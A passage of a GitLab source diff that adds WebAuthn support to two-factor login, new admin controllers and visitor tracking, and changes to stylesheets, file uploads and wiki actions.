-// gets fixed on GitLab UI
-.gl-sm-w-auto\! {
+.gl-shadow-x0-y0-b3-s1-blue-500 {
+ box-shadow: inset 0 0 3px $gl-border-size-1 $blue-500;
+}
+
+
+.gl-sm-align-items-flex-end {
+ @media (min-width: $breakpoint-sm) {
+ align-items: flex-end;
+ }
+}
+
+.gl-sm-text-body {
+ @media (min-width: $breakpoint-sm) {
+ color: $body-color;
+ }
+}
+
+.gl-sm-font-weight-bold {
@media (min-width: $breakpoint-sm) {
+ font-weight: $gl-font-weight-bold;
+ }
+}
+
+.gl-min-h-6 {
+ min-height: $gl-spacing-scale-6;
+}
+
+.gl-md-justify-content-end {
+ @media (min-width: $breakpoint-md) {
width: auto !important;
}
}
+
+.gl-display-md-flex {
+ @media (min-width: $breakpoint-md) {
+ display: flex;
+ }
+}
+
+.gl-display-md-none {
+ @media (min-width: $breakpoint-md) {
+ display: none;
+ }
+}
diff --git a/app/assets/stylesheets/vendors/atwho.scss b/app/assets/stylesheets/vendors/atwho.scss
index f855c5c0d3d..f31dbbeafe8 100644
--- a/app/assets/stylesheets/vendors/atwho.scss
+++ b/app/assets/stylesheets/vendors/atwho.scss
@@ -24,8 +24,8 @@
.has-warning {
.description {
- color: $orange-700;
- background-color: $orange-100;
+ color: $gray-900;
+ background-color: $orange-50;
}
}
@@ -58,7 +58,7 @@
}
&.has-warning {
- color: $orange-700;
+ color: $orange-500;
}
}
diff --git a/app/assets/stylesheets/vendors/tribute.scss b/app/assets/stylesheets/vendors/tribute.scss
index 309cdf7245c..65f3d1b6199 100644
--- a/app/assets/stylesheets/vendors/tribute.scss
+++ b/app/assets/stylesheets/vendors/tribute.scss
@@ -1,6 +1,6 @@
.tribute-container {
background: $white;
- border: 1px solid $gl-gray-100;
+ border: 1px solid $gray-100;
border-radius: $border-radius-base;
box-shadow: 0 0 5px $issue-boards-card-shadow;
color: $black;
@@ -22,7 +22,7 @@
white-space: nowrap;
small {
- color: $gl-gray-500;
+ color: $gray-500;
}
&.highlight {
diff --git a/app/controllers/admin/application_settings_controller.rb b/app/controllers/admin/application_settings_controller.rb
index 3a5b8b2862e..73f71f7ad55 100644
--- a/app/controllers/admin/application_settings_controller.rb
+++ b/app/controllers/admin/application_settings_controller.rb
@@ -32,7 +32,7 @@ class Admin::ApplicationSettingsController < Admin::ApplicationController
end
def integrations
- @integrations = Service.find_or_initialize_instances.sort_by(&:title)
+ @integrations = Service.find_or_initialize_all(Service.for_instance).sort_by(&:title)
end
def update
@@ -170,6 +170,7 @@ class Admin::ApplicationSettingsController < Admin::ApplicationController
def set_application_setting
@application_setting = ApplicationSetting.current_without_cache
+ @plans = Plan.all
end
def whitelist_query_limiting
diff --git a/app/controllers/admin/cohorts_controller.rb b/app/controllers/admin/cohorts_controller.rb
new file mode 100644
index 00000000000..e3df98b7917
--- /dev/null
+++ b/app/controllers/admin/cohorts_controller.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class Admin::CohortsController < Admin::ApplicationController
+ include Analytics::UniqueVisitsHelper
+
+ track_unique_visits :index, target_id: 'i_analytics_cohorts'
+
+ def index
+ if Gitlab::CurrentSettings.usage_ping_enabled
+ cohorts_results = Rails.cache.fetch('cohorts', expires_in: 1.day) do
+ CohortsService.new.execute
+ end
+
+ @cohorts = CohortsSerializer.new.represent(cohorts_results)
+ end
+ end
+end
diff --git a/app/controllers/admin/concerns/authenticates_2fa_for_admin_mode.rb b/app/controllers/admin/concerns/authenticates_2fa_for_admin_mode.rb
index 6014ed0dd13..03783cd75a3 100644
--- a/app/controllers/admin/concerns/authenticates_2fa_for_admin_mode.rb
+++ b/app/controllers/admin/concerns/authenticates_2fa_for_admin_mode.rb
@@ -11,7 +11,13 @@ module Authenticates2FAForAdminMode
return handle_locked_user(user) unless user.can?(:log_in)
session[:otp_user_id] = user.id
- setup_u2f_authentication(user)
+ push_frontend_feature_flag(:webauthn)
+
+ if user.two_factor_webauthn_enabled?
+ setup_webauthn_authentication(user)
+ else
+ setup_u2f_authentication(user)
+ end
render 'admin/sessions/two_factor', layout: 'application'
end
@@ -24,7 +30,11 @@ module Authenticates2FAForAdminMode
if user_params[:otp_attempt].present? && session[:otp_user_id]
admin_mode_authenticate_with_two_factor_via_otp(user)
elsif user_params[:device_response].present? && session[:otp_user_id]
- admin_mode_authenticate_with_two_factor_via_u2f(user)
+ if user.two_factor_webauthn_enabled?
+ admin_mode_authenticate_with_two_factor_via_webauthn(user)
+ else
+ admin_mode_authenticate_with_two_factor_via_u2f(user)
+ end
elsif user && user.valid_password?(user_params[:password])
admin_mode_prompt_for_two_factor(user)
else
@@ -52,18 +62,17 @@ module Authenticates2FAForAdminMode
def admin_mode_authenticate_with_two_factor_via_u2f(user)
if U2fRegistration.authenticate(user, u2f_app_id, user_params[:device_response], session[:challenge])
- # Remove any lingering user data from login
- session.delete(:otp_user_id)
- session.delete(:challenge)
-
- # The admin user has successfully passed 2fa, enable admin mode ignoring password
- enable_admin_mode
+ admin_handle_two_factor_success
else
- user.increment_failed_attempts!
- Gitlab::AppLogger.info("Failed Admin Mode Login: user=#{user.username} ip=#{request.remote_ip} method=U2F")
- flash.now[:alert] = _('Authentication via U2F device failed.')
+ admin_handle_two_factor_failure(user, 'U2F')
+ end
+ end
- admin_mode_prompt_for_two_factor(user)
+ def admin_mode_authenticate_with_two_factor_via_webauthn(user)
+ if Webauthn::AuthenticateService.new(user, user_params[:device_response], session[:challenge]).execute
+ admin_handle_two_factor_success
+ else
+ admin_handle_two_factor_failure(user, 'WebAuthn')
end
end
@@ -81,4 +90,21 @@ module Authenticates2FAForAdminMode
flash.now[:alert] = _('Invalid login or password')
render :new
end
+
+ def admin_handle_two_factor_success
+ # Remove any lingering user data from login
+ session.delete(:otp_user_id)
+ session.delete(:challenge)
+
+ # The admin user has successfully passed 2fa, enable admin mode ignoring password
+ enable_admin_mode
+ end
+
+ def admin_handle_two_factor_failure(user, method)
+ user.increment_failed_attempts!
+ Gitlab::AppLogger.info("Failed Admin Mode Login: user=#{user.username} ip=#{request.remote_ip} method=#{method}")
+ flash.now[:alert] = _('Authentication via %{method} device failed.') % { method: method }
+
+ admin_mode_prompt_for_two_factor(user)
+ end
end
diff --git a/app/controllers/admin/dev_ops_report_controller.rb b/app/controllers/admin/dev_ops_report_controller.rb
new file mode 100644
index 00000000000..bed0d51c331
--- /dev/null
+++ b/app/controllers/admin/dev_ops_report_controller.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class Admin::DevOpsReportController < Admin::ApplicationController
+ include Analytics::UniqueVisitsHelper
+
+ track_unique_visits :show, target_id: 'i_analytics_dev_ops_score'
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def show
+ @metric = DevOpsReport::Metric.order(:created_at).last&.present
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+end
diff --git a/app/controllers/admin/groups_controller.rb b/app/controllers/admin/groups_controller.rb
index 0245c00aacb..6414792dd43 100644
--- a/app/controllers/admin/groups_controller.rb
+++ b/app/controllers/admin/groups_controller.rb
@@ -19,7 +19,7 @@ class Admin::GroupsController < Admin::ApplicationController
# the Group with statistics).
@group = Group.with_statistics.find(group&.id)
@members = present_members(
- @group.members.order("access_level DESC").page(params[:members_page]))
+ group_members.order("access_level DESC").page(params[:members_page]))
@requesters = present_members(
AccessRequestsFinder.new(@group).execute(current_user))
@projects = @group.projects.with_statistics.page(params[:projects_page])
@@ -82,6 +82,10 @@ class Admin::GroupsController < Admin::ApplicationController
@group ||= Group.find_by_full_path(params[:id])
end
+ def group_members
+ @group.members
+ end
+
def group_params
params.require(:group).permit(allowed_group_params)
end
diff --git a/app/controllers/admin/instance_statistics_controller.rb b/app/controllers/admin/instance_statistics_controller.rb
new file mode 100644
index 00000000000..3aee26b97a2
--- /dev/null
+++ b/app/controllers/admin/instance_statistics_controller.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class Admin::InstanceStatisticsController < Admin::ApplicationController
+ include Analytics::UniqueVisitsHelper
+
+ before_action :check_feature_flag
+
+ track_unique_visits :index, target_id: 'i_analytics_instance_statistics'
+
+ def index
+ end
+
+ def check_feature_flag
+ render_404 unless Feature.enabled?(:instance_statistics)
+ end
+end
diff --git a/app/controllers/admin/integrations_controller.rb b/app/controllers/admin/integrations_controller.rb
index b2d5a2d130c..1e2a99f7078 100644
--- a/app/controllers/admin/integrations_controller.rb
+++ b/app/controllers/admin/integrations_controller.rb
@@ -6,9 +6,7 @@ class Admin::IntegrationsController < Admin::ApplicationController
private
def find_or_initialize_integration(name)
- if name.in?(Service.available_services_names)
- "#{name}_service".camelize.constantize.find_or_initialize_by(instance: true) # rubocop:disable CodeReuse/ActiveRecord
- end
+ Service.find_or_initialize_integration(name, instance: true)
end
def integrations_enabled?
diff --git a/app/controllers/admin/plan_limits_controller.rb b/app/controllers/admin/plan_limits_controller.rb
new file mode 100644
index 00000000000..2620db8aec5
--- /dev/null
+++ b/app/controllers/admin/plan_limits_controller.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+class Admin::PlanLimitsController < Admin::ApplicationController
+ include InternalRedirect
+
+ before_action :set_plan_limits
+
+ def create
+ redirect_path = referer_path(request) || general_admin_application_settings_path
+
+ respond_to do |format|
+ if @plan_limits.update(plan_limits_params)
+ format.json { head :ok }
+ format.html { redirect_to redirect_path, notice: _('Application limits saved successfully') }
+ else
+ format.json { head :bad_request }
+ format.html { render_update_error }
+ end
+ end
+ end
+
+ private
+
+ def set_plan_limits
+ @plan_limits = Plan.find(plan_limits_params[:plan_id]).actual_limits
+ end
+
+ def plan_limits_params
+ params.require(:plan_limits).permit(%i[
+ plan_id
+ conan_max_file_size
+ maven_max_file_size
+ npm_max_file_size
+ nuget_max_file_size
+ pypi_max_file_size
+ generic_packages_max_file_size
+ ])
+ end
+end
diff --git a/app/controllers/admin/runners_controller.rb b/app/controllers/admin/runners_controller.rb
index 2449fa3128c..7a377a33d41 100644
--- a/app/controllers/admin/runners_controller.rb
+++ b/app/controllers/admin/runners_controller.rb
@@ -17,7 +17,6 @@ class Admin::RunnersController < Admin::ApplicationController
def update
if Ci::UpdateRunnerService.new(@runner).update(runner_params)
respond_to do |format|
- format.js
format.html { redirect_to admin_runner_path(@runner) }
end
else
diff --git a/app/controllers/admin/services_controller.rb b/app/controllers/admin/services_controller.rb
index 1bc82e98ab8..1f4250639c4 100644
--- a/app/controllers/admin/services_controller.rb
+++ b/app/controllers/admin/services_controller.rb
@@ -8,7 +8,7 @@ class Admin::ServicesController < Admin::ApplicationController
def index
@services = Service.find_or_create_templates.sort_by(&:title)
- @existing_instance_types = Service.instances.pluck(:type) # rubocop: disable CodeReuse/ActiveRecord
+ @existing_instance_types = Service.for_instance.pluck(:type) # rubocop: disable CodeReuse/ActiveRecord
end
def edit
diff --git a/app/controllers/admin/users_controller.rb b/app/controllers/admin/users_controller.rb
index fc0acd8f99a..050f83edacb 100644
--- a/app/controllers/admin/users_controller.rb
+++ b/app/controllers/admin/users_controller.rb
@@ -111,10 +111,14 @@ class Admin::UsersController < Admin::ApplicationController
end
def disable_two_factor
- update_user { |user| user.disable_two_factor! }
+ result = TwoFactor::DestroyService.new(current_user, user: user).execute
- redirect_to admin_user_path(user),
- notice: _('Two-factor Authentication has been disabled for this user')
+ if result[:status] == :success
+ redirect_to admin_user_path(user),
+ notice: _('Two-factor authentication has been disabled for this user')
+ else
+ redirect_to admin_user_path(user), alert: result[:message]
+ end
end
def create
@@ -145,7 +149,7 @@ class Admin::UsersController < Admin::ApplicationController
password_confirmation: params[:user][:password_confirmation]
}
- password_params[:password_expires_at] = Time.current unless changing_own_password?
+ password_params[:password_expires_at] = Time.current if admin_making_changes_for_another_user?
user_params_with_pass.merge!(password_params)
end
@@ -153,6 +157,7 @@ class Admin::UsersController < Admin::ApplicationController
respond_to do |format|
result = Users::UpdateService.new(current_user, user_params_with_pass.merge(user: user)).execute do |user|
user.skip_reconfirmation!
+ user.send_only_admin_changed_your_password_notification! if admin_making_changes_for_another_user?
end
if result[:status] == :success
@@ -193,8 +198,8 @@ class Admin::UsersController < Admin::ApplicationController
protected
- def changing_own_password?
- user == current_user
+ def admin_making_changes_for_another_user?
+ user != current_user
end
def user
diff --git a/app/controllers/application_controller.rb b/app/controllers/application_controller.rb
index 2595b646964..5f05337e59e 100644
--- a/app/controllers/application_controller.rb
+++ b/app/controllers/application_controller.rb
@@ -551,13 +551,9 @@ class ApplicationController < ActionController::Base
"#{self.class.name}##{action_name}"
end
- # A user requires a role and have the setup_for_company attribute set when they are part of the experimental signup
- # flow (executed by the Growth team). Users are redirected to the welcome page when their role is required and the
- # experiment is enabled for the current user.
def required_signup_info
return unless current_user
return unless current_user.role_required?
- return unless experiment_enabled?(:signup_flow)
store_location_for :user, request.fullpath
diff --git a/app/controllers/clusters/clusters_controller.rb b/app/controllers/clusters/clusters_controller.rb
index cae9d098799..7006c23321c 100644
--- a/app/controllers/clusters/clusters_controller.rb
+++ b/app/controllers/clusters/clusters_controller.rb
@@ -237,6 +237,7 @@ class Clusters::ClustersController < Clusters::BaseController
:environment_scope,
:managed,
provider_aws_attributes: [
+ :kubernetes_version,
:key_name,
:role_arn,
:region,
diff --git a/app/controllers/concerns/authenticates_with_two_factor.rb b/app/controllers/concerns/authenticates_with_two_factor.rb
index b93c98a4790..9ff97f398f5 100644
--- a/app/controllers/concerns/authenticates_with_two_factor.rb
+++ b/app/controllers/concerns/authenticates_with_two_factor.rb
@@ -22,9 +22,15 @@ module AuthenticatesWithTwoFactor
return handle_locked_user(user) unless user.can?(:log_in)
session[:otp_user_id] = user.id
- session[:user_updated_at] = user.updated_at
+ session[:user_password_hash] = Digest::SHA256.hexdigest(user.encrypted_password)
+ push_frontend_feature_flag(:webauthn)
+
+ if user.two_factor_webauthn_enabled?
+ setup_webauthn_authentication(user)
+ else
+ setup_u2f_authentication(user)
+ end
- setup_u2f_authentication(user)
render 'devise/sessions/two_factor'
end
@@ -41,12 +47,16 @@ module AuthenticatesWithTwoFactor
def authenticate_with_two_factor
user = self.resource = find_user
return handle_locked_user(user) unless user.can?(:log_in)
- return handle_changed_user(user) if user_changed?(user)
+ return handle_changed_user(user) if user_password_changed?(user)
if user_params[:otp_attempt].present? && session[:otp_user_id]
authenticate_with_two_factor_via_otp(user)
elsif user_params[:device_response].present? && session[:otp_user_id]
- authenticate_with_two_factor_via_u2f(user)
+ if user.two_factor_webauthn_enabled?
+ authenticate_with_two_factor_via_webauthn(user)
+ else
+ authenticate_with_two_factor_via_u2f(user)
+ end
elsif user && user.valid_password?(user_params[:password])
prompt_for_two_factor(user)
end
@@ -66,7 +76,7 @@ module AuthenticatesWithTwoFactor
def clear_two_factor_attempt!
session.delete(:otp_user_id)
- session.delete(:user_updated_at)
+ session.delete(:user_password_hash)
session.delete(:challenge)
end
@@ -89,16 +99,17 @@ module AuthenticatesWithTwoFactor
# Authenticate using the response from a U2F (universal 2nd factor) device
def authenticate_with_two_factor_via_u2f(user)
if U2fRegistration.authenticate(user, u2f_app_id, user_params[:device_response], session[:challenge])
- # Remove any lingering user data from login
- clear_two_factor_attempt!
+ handle_two_factor_success(user)
+ else
+ handle_two_factor_failure(user, 'U2F')
+ end
+ end
- remember_me(user) if user_params[:remember_me] == '1'
- sign_in(user, message: :two_factor_authenticated, event: :authentication)
+ def authenticate_with_two_factor_via_webauthn(user)
+ if Webauthn::AuthenticateService.new(user, user_params[:device_response], session[:challenge]).execute
+ handle_two_factor_success(user)
else
- user.increment_failed_attempts!
- Gitlab::AppLogger.info("Failed Login: user=#{user.username} ip=#{request.remote_ip} method=U2F")
- flash.now[:alert] = _('Authentication via U2F device failed.')
- prompt_for_two_factor(user)
+ handle_two_factor_failure(user, 'WebAuthn')
end
end
@@ -116,8 +127,38 @@ module AuthenticatesWithTwoFactor
sign_requests: sign_requests })
end
end
+
+ def setup_webauthn_authentication(user)
+ if user.webauthn_registrations.present?
+
+ webauthn_registration_ids = user.webauthn_registrations.pluck(:credential_xid)
+
+ get_options = WebAuthn::Credential.options_for_get(allow: webauthn_registration_ids,
+ user_verification: 'discouraged',
+ extensions: { appid: WebAuthn.configuration.origin })
+
+ session[:credentialRequestOptions] = get_options
+ session[:challenge] = get_options.challenge
+ gon.push(webauthn: { options: get_options.to_json })
+ end
+ end
# rubocop: enable CodeReuse/ActiveRecord
+ def handle_two_factor_success(user)
+ # Remove any lingering user data from login
+ clear_two_factor_attempt!
+
+ remember_me(user) if user_params[:remember_me] == '1'
+ sign_in(user, message: :two_factor_authenticated, event: :authentication)
+ end
+
+ def handle_two_factor_failure(user, method)
+ user.increment_failed_attempts!
+ Gitlab::AppLogger.info("Failed Login: user=#{user.username} ip=#{request.remote_ip} method=#{method}")
+ flash.now[:alert] = _('Authentication via %{method} device failed.') % { method: method }
+ prompt_for_two_factor(user)
+ end
+
def handle_changed_user(user)
clear_two_factor_attempt!
@@ -126,13 +167,9 @@ module AuthenticatesWithTwoFactor
# If user has been updated since we validated the password,
# the password might have changed.
- def user_changed?(user)
- return false unless session[:user_updated_at]
-
- # See: https://gitlab.com/gitlab-org/gitlab/-/issues/244638
- # Rounding errors happen when the user is updated, as the Rails ActiveRecord
- # object has higher precision than what is stored in the database, therefore
- # using .to_i to force truncation to the timestamp
- user.updated_at.to_i != session[:user_updated_at].to_i
+ def user_password_changed?(user)
+ return false unless session[:user_password_hash]
+
+ Digest::SHA256.hexdigest(user.encrypted_password) != session[:user_password_hash]
end
end
diff --git a/app/controllers/concerns/integrations_actions.rb b/app/controllers/concerns/integrations_actions.rb
index 9a8e5d14123..6060dc729af 100644
--- a/app/controllers/concerns/integrations_actions.rb
+++ b/app/controllers/concerns/integrations_actions.rb
@@ -16,12 +16,11 @@ module IntegrationsActions
def update
saved = integration.update(service_params[:service])
- overwrite = Gitlab::Utils.to_boolean(params[:overwrite])
respond_to do |format|
format.html do
if saved
- PropagateIntegrationWorker.perform_async(integration.id, overwrite)
+ PropagateIntegrationWorker.perform_async(integration.id, false)
redirect_to scoped_edit_integration_path(integration), notice: success_message
else
render 'shared/integrations/edit'
@@ -57,9 +56,11 @@ module IntegrationsActions
end
def success_message
- message = integration.active? ? _('activated') : _('settings saved, but not activated')
-
- _('%{service_title} %{message}.') % { service_title: integration.title, message: message }
+ if integration.active?
+ s_('Integrations|%{integration} settings saved and active.') % { integration: integration.title }
+ else
+ s_('Integrations|%{integration} settings saved, but not active.') % { integration: integration.title }
+ end
end
def serialize_as_json
diff --git a/app/controllers/concerns/issuable_actions.rb b/app/controllers/concerns/issuable_actions.rb
index c4dbce00593..a1a2740cde2 100644
--- a/app/controllers/concerns/issuable_actions.rb
+++ b/app/controllers/concerns/issuable_actions.rb
@@ -9,7 +9,7 @@ module IssuableActions
before_action :check_destroy_confirmation!, only: :destroy
before_action :authorize_admin_issuable!, only: :bulk_update
before_action only: :show do
- push_frontend_feature_flag(:scoped_labels, default_enabled: true)
+ push_frontend_feature_flag(:scoped_labels, type: :licensed, default_enabled: true)
end
before_action do
push_frontend_feature_flag(:not_issuable_queries, @project, default_enabled: true)
diff --git a/app/controllers/concerns/issuable_links.rb b/app/controllers/concerns/issuable_links.rb
new file mode 100644
index 00000000000..2bdb190f1d5
--- /dev/null
+++ b/app/controllers/concerns/issuable_links.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module IssuableLinks
+ def index
+ render json: issuables
+ end
+
+ def create
+ result = create_service.execute
+
+ render json: { message: result[:message], issuables: issuables }, status: result[:http_status]
+ end
+
+ def destroy
+ result = destroy_service.execute
+
+ render json: { issuables: issuables }, status: result[:http_status]
+ end
+
+ private
+
+ def issuables
+ list_service.execute
+ end
+
+ def list_service
+ raise NotImplementedError
+ end
+
+ def create_params
+ params.permit(issuable_references: [])
+ end
+
+ def create_service
+ raise NotImplementedError
+ end
+
+ def destroy_service
+ raise NotImplementedError
+ end
+end
diff --git a/app/controllers/concerns/notes_actions.rb b/app/controllers/concerns/notes_actions.rb
index f4fc7decb60..7a5b470f366 100644
--- a/app/controllers/concerns/notes_actions.rb
+++ b/app/controllers/concerns/notes_actions.rb
@@ -100,7 +100,7 @@ module NotesActions
# the finder. Here, we select between returning all notes since then, or a
# page's worth of notes.
def gather_notes
- if Feature.enabled?(:paginated_notes, project)
+ if Feature.enabled?(:paginated_notes, noteable.try(:resource_parent))
gather_some_notes
else
gather_all_notes
diff --git a/app/controllers/concerns/redis_tracking.rb b/app/controllers/concerns/redis_tracking.rb
new file mode 100644
index 00000000000..fa5eef981d1
--- /dev/null
+++ b/app/controllers/concerns/redis_tracking.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+# Example:
+#
+# # In controller include module
+# # Track event for index action
+#
+# include RedisTracking
+#
+# track_redis_hll_event :index, :show, name: 'i_analytics_dev_ops_score', feature: :my_feature
+#
+# if the feature flag is enabled by default you should use
+# track_redis_hll_event :index, :show, name: 'i_analytics_dev_ops_score', feature: :my_feature, feature_default_enabled: true
+module RedisTracking
+ extend ActiveSupport::Concern
+
+ class_methods do
+ def track_redis_hll_event(*controller_actions, name:, feature:, feature_default_enabled: false)
+ after_action only: controller_actions, if: -> { request.format.html? && request.headers['DNT'] != '1' } do
+ track_unique_redis_hll_event(name, feature, feature_default_enabled)
+ end
+ end
+ end
+
+ private
+
+ def track_unique_redis_hll_event(event_name, feature, feature_default_enabled)
+ return unless metric_feature_enabled?(feature, feature_default_enabled)
+ return unless Gitlab::CurrentSettings.usage_ping_enabled?
+ return unless visitor_id
+
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(visitor_id, event_name)
+ end
+
+ def metric_feature_enabled?(feature, default_enabled)
+ Feature.enabled?(feature, default_enabled: default_enabled)
+ end
+
+ def visitor_id
+ return cookies[:visitor_id] if cookies[:visitor_id].present?
+ return unless current_user
+
+ uuid = SecureRandom.uuid
+ cookies[:visitor_id] = { value: uuid, expires: 24.months }
+ uuid
+ end
+end
diff --git a/app/controllers/concerns/renders_notes.rb b/app/controllers/concerns/renders_notes.rb
index 18015b1de88..f8e3717acee 100644
--- a/app/controllers/concerns/renders_notes.rb
+++ b/app/controllers/concerns/renders_notes.rb
@@ -5,7 +5,6 @@ module RendersNotes
def prepare_notes_for_rendering(notes, noteable = nil)
preload_noteable_for_regular_notes(notes)
preload_max_access_for_authors(notes, @project)
- preload_first_time_contribution_for_authors(noteable, notes)
preload_author_status(notes)
Notes::RenderService.new(current_user).execute(notes)
@@ -19,7 +18,8 @@ module RendersNotes
return unless project
user_ids = notes.map(&:author_id)
- project.team.max_member_access_for_user_ids(user_ids)
+ access = project.team.max_member_access_for_user_ids(user_ids).select { |k, v| v == Gitlab::Access::NO_ACCESS }.keys
+ project.team.contribution_check_for_user_ids(access)
end
# rubocop: disable CodeReuse/ActiveRecord
@@ -28,12 +28,6 @@ module RendersNotes
end
# rubocop: enable CodeReuse/ActiveRecord
- def preload_first_time_contribution_for_authors(noteable, notes)
- return unless noteable.is_a?(Issuable) && noteable.first_contribution?
-
- notes.each {|n| n.specialize_for_first_contribution!(noteable)}
- end
-
# rubocop: disable CodeReuse/ActiveRecord
def preload_author_status(notes)
ActiveRecord::Associations::Preloader.new.preload(notes, { author: :status })
diff --git a/app/controllers/concerns/send_file_upload.rb b/app/controllers/concerns/send_file_upload.rb
index 7cb19fc7e58..2f06cd84ee5 100644
--- a/app/controllers/concerns/send_file_upload.rb
+++ b/app/controllers/concerns/send_file_upload.rb
@@ -2,6 +2,8 @@
module SendFileUpload
def send_upload(file_upload, send_params: {}, redirect_params: {}, attachment: nil, proxy: false, disposition: 'attachment')
+ content_type = content_type_for(attachment)
+
if attachment
response_disposition = ActionDispatch::Http::ContentDisposition.format(disposition: disposition, filename: attachment)
@@ -9,7 +11,7 @@ module SendFileUpload
# Google Cloud Storage, so the metadata needs to be cleared on GCS for
# this to work. However, this override works with AWS.
redirect_params[:query] = { "response-content-disposition" => response_disposition,
- "response-content-type" => guess_content_type(attachment) }
+ "response-content-type" => content_type }
# By default, Rails will send uploads with an extension of .js with a
# content-type of text/javascript, which will trigger Rails'
# cross-origin JavaScript protection.
@@ -20,7 +22,7 @@ module SendFileUpload
if image_scaling_request?(file_upload)
location = file_upload.file_storage? ? file_upload.path : file_upload.url
- headers.store(*Gitlab::Workhorse.send_scaled_image(location, params[:width].to_i))
+ headers.store(*Gitlab::Workhorse.send_scaled_image(location, params[:width].to_i, content_type))
head :ok
elsif file_upload.file_storage?
send_file file_upload.path, send_params
@@ -32,6 +34,12 @@ module SendFileUpload
end
end
+ def content_type_for(attachment)
+ return '' unless attachment
+
+ guess_content_type(attachment)
+ end
+
def guess_content_type(filename)
types = MIME::Types.type_for(filename)
@@ -45,15 +53,33 @@ module SendFileUpload
private
def image_scaling_request?(file_upload)
- avatar_image_upload?(file_upload) && valid_image_scaling_width? && current_user &&
- Feature.enabled?(:dynamic_image_resizing, current_user)
+ avatar_safe_for_scaling?(file_upload) &&
+ scaling_allowed_by_feature_flags?(file_upload) &&
+ valid_image_scaling_width?
end
- def avatar_image_upload?(file_upload)
- file_upload.try(:image?) && file_upload.try(:mounted_as)&.to_sym == :avatar
+ def avatar_safe_for_scaling?(file_upload)
+ file_upload.try(:image_safe_for_scaling?) && mounted_as_avatar?(file_upload)
+ end
+
+ def mounted_as_avatar?(file_upload)
+ file_upload.try(:mounted_as)&.to_sym == :avatar
end
def valid_image_scaling_width?
Avatarable::ALLOWED_IMAGE_SCALER_WIDTHS.include?(params[:width]&.to_i)
end
+
+ # We use two separate feature gates to allow image resizing.
+ # The first, `:dynamic_image_resizing_requester`, based on the content requester.
+ # Enabling it for the user would allow that user to send resizing requests for any avatar.
+ # The second, `:dynamic_image_resizing_owner`, based on the content owner.
+ # Enabling it for the user would allow anyone to send resizing requests against the mentioned user avatar only.
+ # This flag allows us to operate on trusted data only, more in https://gitlab.com/gitlab-org/gitlab/-/issues/241533.
+ # Because of this, you need to enable BOTH to serve resized image,
+ # as you would need at least one allowed requester and at least one allowed avatar.
+ def scaling_allowed_by_feature_flags?(file_upload)
+ Feature.enabled?(:dynamic_image_resizing_requester, current_user) &&
+ Feature.enabled?(:dynamic_image_resizing_owner, file_upload.model)
+ end
end
diff --git a/app/controllers/concerns/snippets_actions.rb b/app/controllers/concerns/snippets_actions.rb
index 5552fd663f7..4548595d968 100644
--- a/app/controllers/concerns/snippets_actions.rb
+++ b/app/controllers/concerns/snippets_actions.rb
@@ -14,8 +14,6 @@ module SnippetsActions
skip_before_action :verify_authenticity_token,
if: -> { action_name == 'show' && js_request? }
- before_action :redirect_if_binary, only: [:edit, :update]
-
respond_to :html
end
@@ -134,10 +132,4 @@ module SnippetsActions
recaptcha_check_with_fallback(errors.empty?) { render action }
end
-
- def redirect_if_binary
- return if Feature.enabled?(:snippets_binary_blob)
-
- redirect_to gitlab_snippet_path(snippet) if blob&.binary?
- end
end
diff --git a/app/controllers/concerns/wiki_actions.rb b/app/controllers/concerns/wiki_actions.rb
index 5b953fe37d6..5a5b634da40 100644
--- a/app/controllers/concerns/wiki_actions.rb
+++ b/app/controllers/concerns/wiki_actions.rb
@@ -93,9 +93,10 @@ module WikiActions
def update
return render('shared/wikis/empty') unless can?(current_user, :create_wiki, container)
- @page = WikiPages::UpdateService.new(container: container, current_user: current_user, params: wiki_params).execute(page)
+ response = WikiPages::UpdateService.new(container: container, current_user: current_user, params: wiki_params).execute(page)
+ @page = response.payload[:page]
- if page.valid?
+ if response.success?
redirect_to(
wiki_page_path(wiki, page),
notice: _('Wiki was successfully updated.')
@@ -103,7 +104,7 @@ module WikiActions
else
render 'shared/wikis/edit'
end
- rescue WikiPage::PageChangedError, WikiPage::PageRenameError, Gitlab::Git::Wiki::OperationError => e
+ rescue WikiPage::PageChangedError, WikiPage::PageRenameError => e
@error = e
render 'shared/wikis/edit'
end
@@ -120,13 +121,8 @@ module WikiActions
notice: _('Wiki was successfully updated.')
)
else
- flash[:alert] = response.message
render 'shared/wikis/edit'
end
- rescue Gitlab::Git::Wiki::OperationError => e
- @page = build_page(wiki_params)
- @error = e
- render 'shared/wikis/edit'
end
# rubocop:enable Gitlab/ModuleWithInstanceVariables
@@ -162,14 +158,18 @@ module WikiActions
# rubocop:disable Gitlab/ModuleWithInstanceVariables
def destroy
- WikiPages::DestroyService.new(container: container, current_user: current_user).execute(page)
+ return render_404 unless page
- redirect_to wiki_path(wiki),
- status: :found,
- notice: _("Page was successfully deleted")
- rescue Gitlab::Git::Wiki::OperationError => e
- @error = e
- render 'shared/wikis/edit'
+ response = WikiPages::DestroyService.new(container: container, current_user: current_user).execute(page)
+
+ if response.success?
+ redirect_to wiki_path(wiki),
+ status: :found,
+ notice: _("Page was successfully deleted")
+ else
+ @error = response
+ render 'shared/wikis/edit'
+ end
end
# rubocop:enable Gitlab/ModuleWithInstanceVariables
diff --git a/app/controllers/dashboard/projects_controller.rb b/app/controllers/dashboard/projects_controller.rb
index 91704f030cd..2bd6fd85381 100644
--- a/app/controllers/dashboard/projects_controller.rb
+++ b/app/controllers/dashboard/projects_controller.rb
@@ -63,10 +63,11 @@ class Dashboard::ProjectsController < Dashboard::ApplicationController
end
def load_projects(finder_params)
- @total_user_projects_count = ProjectsFinder.new(params: { non_public: true }, current_user: current_user).execute
- @total_starred_projects_count = ProjectsFinder.new(params: { starred: true }, current_user: current_user).execute
+ @total_user_projects_count = ProjectsFinder.new(params: { non_public: true, without_deleted: true }, current_user: current_user).execute
+ @total_starred_projects_count = ProjectsFinder.new(params: { starred: true, without_deleted: true }, current_user: current_user).execute
finder_params[:use_cte] = true if use_cte_for_finder?
+ finder_params[:without_deleted] = true
projects = ProjectsFinder.new(params: finder_params, current_user: current_user).execute
